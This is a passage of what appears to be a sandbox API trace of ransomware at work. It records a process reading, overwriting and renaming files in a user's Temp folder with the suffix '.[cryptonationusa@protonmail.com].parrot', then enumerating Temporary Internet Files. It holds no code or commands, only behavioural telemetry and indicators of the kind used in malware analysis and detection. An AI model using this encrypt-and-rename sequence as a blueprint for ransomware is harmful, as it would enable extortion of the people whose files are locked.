0x65d230 [0088.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6644e8 | out: hHeap=0x5b0000) returned 1 [0088.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3150048 [0088.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.873] WriteFile (in: hFile=0x270, lpBuffer=0x3150060*, nNumberOfBytesToWrite=0x8148, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3150060*, lpNumberOfBytesWritten=0x18f1c4*=0x8148, lpOverlapped=0x0) returned 1 [0088.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0088.874] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8142, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.874] CloseHandle (hObject=0x270) returned 1 [0088.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0088.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8500 [0088.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0088.874] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\oTAHivvlvv.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\otahivvlvv.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\oTAHivvlvv.rtf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\otahivvlvv.rtf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0088.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.875] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0088.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0088.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0088.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0088.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0088.878] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.878] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.879] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.879] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfee5, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xfee5, lpOverlapped=0x0) returned 1 [0088.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0088.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0088.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0088.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0088.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x65d230 [0088.880] GetLastError () returned 0x0 [0088.882] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0088.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0088.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.882] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0088.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5e9ca0 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3179190 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179378 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179648 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179378 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x65d230 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179648 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3179190 [0088.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x65d230 [0088.884] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x65e048 [0088.884] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x65f588 [0088.884] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65e048 | out: hHeap=0x5b0000) returned 1 [0088.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x661550 [0088.884] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f588 | out: hHeap=0x5b0000) returned 1 [0088.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6644e8 [0088.884] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x661550 | out: hHeap=0x5b0000) returned 1 [0088.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x65d230 [0088.884] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6644e8 | out: hHeap=0x5b0000) returned 1 [0088.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3150048 [0088.884] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3162050 [0088.885] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0088.885] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x2252f70 [0088.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0088.886] WriteFile (in: hFile=0x270, lpBuffer=0x2252f80*, nNumberOfBytesToWrite=0x10008, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2252f80*, lpNumberOfBytesWritten=0x18f1c4*=0x10008, lpOverlapped=0x0) returned 1 [0088.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0088.887] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfffd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.887] CloseHandle (hObject=0x270) returned 1 [0088.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0088.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8500 [0088.888] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0088.888] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\oY P.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\oy p.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\oY P.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\oy p.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.888] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0088.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0088.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0088.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0088.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0088.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0088.893] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.893] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.894] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.894] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6a03, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x6a03, lpOverlapped=0x0) returned 1 [0088.894] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0088.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.894] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0088.894] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0088.894] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0088.894] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x65d230 [0088.894] GetLastError () returned 0x0 [0088.895] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.895] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0088.895] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0088.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.895] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0088.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.895] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0088.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0088.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0088.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0088.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0088.897] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PTrSED7.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ptrsed7.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PTrSED7.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ptrsed7.odp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0088.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0088.900] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.900] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.900] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.901] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2910, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x2910, lpOverlapped=0x0) returned 1 [0088.901] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.901] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rnPNzMoSUq.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rnpnzmosuq.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rnPNzMoSUq.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rnpnzmosuq.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0088.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6624d0 | out: hHeap=0x5b0000) returned 1 [0088.904] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.904] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.905] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.905] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc60d, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xc60d, lpOverlapped=0x0) returned 1 [0088.911] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.911] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\SA00xoMZf0TRZPE3P.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\sa00xomzf0trzpe3p.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\SA00xoMZf0TRZPE3P.xls.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\sa00xomzf0trzpe3p.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0088.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0088.916] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.916] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.917] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.917] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb7f2, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xb7f2, lpOverlapped=0x0) returned 1 [0088.920] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.921] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\sOPR.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\sopr.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\sOPR.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\sopr.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0088.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0088.925] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.926] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.926] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.926] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb2bd, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xb2bd, lpOverlapped=0x0) returned 1 [0088.929] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.930] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\sw0eh Gd.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\sw0eh gd.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\sw0eh Gd.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\sw0eh gd.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0088.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0088.935] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0088.935] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.935] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.940] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.946] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.946] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0088.946] lstrcmpW (lpString1="Content.IE5", lpString2=".") returned 1 [0088.946] lstrcmpW (lpString1="Content.IE5", lpString2="..") returned 1 [0088.946] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0088.952] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.952] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | 